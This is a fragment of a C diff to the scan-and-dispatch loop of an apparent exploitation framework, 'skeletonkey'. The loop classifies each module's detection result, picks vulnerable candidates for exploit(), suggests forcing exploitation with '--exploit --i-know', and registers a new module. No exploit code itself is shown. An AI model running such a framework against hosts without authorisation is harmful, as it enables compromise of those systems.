- fprintf(stderr, "[+] auto: %-22s VULNERABLE (safety rank %d)\n",
- m->name, cands[nc].rank);
- nc++;
+ int sig = 0;
+ skeletonkey_result_t r = run_detect_isolated(m, ctx, &sig);
+ if (sig != 0) {
+ fprintf(stderr, "[?] auto: %-22s detect() crashed "
+ "(signal %d) β continuing\n", m->name, sig);
+ n_crash++;
+ continue;
+ }
+ switch (r) {
+ case SKELETONKEY_VULNERABLE:
+ if (nc < 64) {
+ cands[nc].m = m;
+ cands[nc].rank = module_safety_rank(m->name);
+ fprintf(stderr, "[+] auto: %-22s VULNERABLE (safety rank %d)\n",
+ m->name, cands[nc].rank);
+ nc++;
+ } else {
+ fprintf(stderr, "[+] auto: %-22s VULNERABLE (overflow; not "
+ "considered for pick)\n", m->name);
+ }
+ n_vuln++;
+ break;
+ case SKELETONKEY_OK:
+ fprintf(stderr, "[ ] auto: %-22s patched or not applicable\n",
+ m->name);
+ n_ok++;
+ break;
+ case SKELETONKEY_PRECOND_FAIL:
+ fprintf(stderr, "[ ] auto: %-22s precondition not met\n", m->name);
+ n_precond++;
+ break;
+ case SKELETONKEY_TEST_ERROR:
+ fprintf(stderr, "[?] auto: %-22s indeterminate "
+ "(detector could not decide)\n", m->name);
+ n_test++;
+ break;
+ default:
+ fprintf(stderr, "[?] auto: %-22s %s\n", m->name, result_str(r));
+ n_other++;
+ break;
}
}
+
+ /* Restore caller's --active setting before we call exploit(). The
+ * exploit() of each module may use ctx->active_probe with different
+ * semantics than detect(); we owned this flag only for the scan. */
+ ctx->active_probe = prev_active;
+
+ fprintf(stderr, "\n[*] auto: scan summary β %d vulnerable, %d patched/"
+ "n.a., %d precondition-fail, %d indeterminate%s\n",
+ n_vuln, n_ok, n_precond, n_test,
+ n_other ? " (+other)" : "");
+ if (n_crash > 0)
+ fprintf(stderr, "[!] auto: %d module(s) crashed during detect "
+ "β dispatcher recovered via fork isolation\n", n_crash);
+
if (nc == 0) {
- fprintf(stderr, "\n[-] auto: no vulnerable modules. Host appears patched.\n");
+ if (n_test > 0) {
+ fprintf(stderr, "[i] auto: %d module(s) returned indeterminate. "
+ "Try `skeletonkey --exploit --i-know` if "
+ "you know the host is vulnerable.\n", n_test);
+ }
+ fprintf(stderr, "[-] auto: no confirmed-vulnerable modules. Host "
+ "appears patched.\n");
return 0;
}
@@ -791,6 +927,7 @@ int main(int argc, char **argv)
skeletonkey_register_vmwgfx();
skeletonkey_register_dirtydecrypt();
skeletonkey_register_fragnesia();
+ skeletonkey_register_pack2theroot();
enum mode mode = MODE_SCAN;
struct skeletonkey_ctx ctx = {0};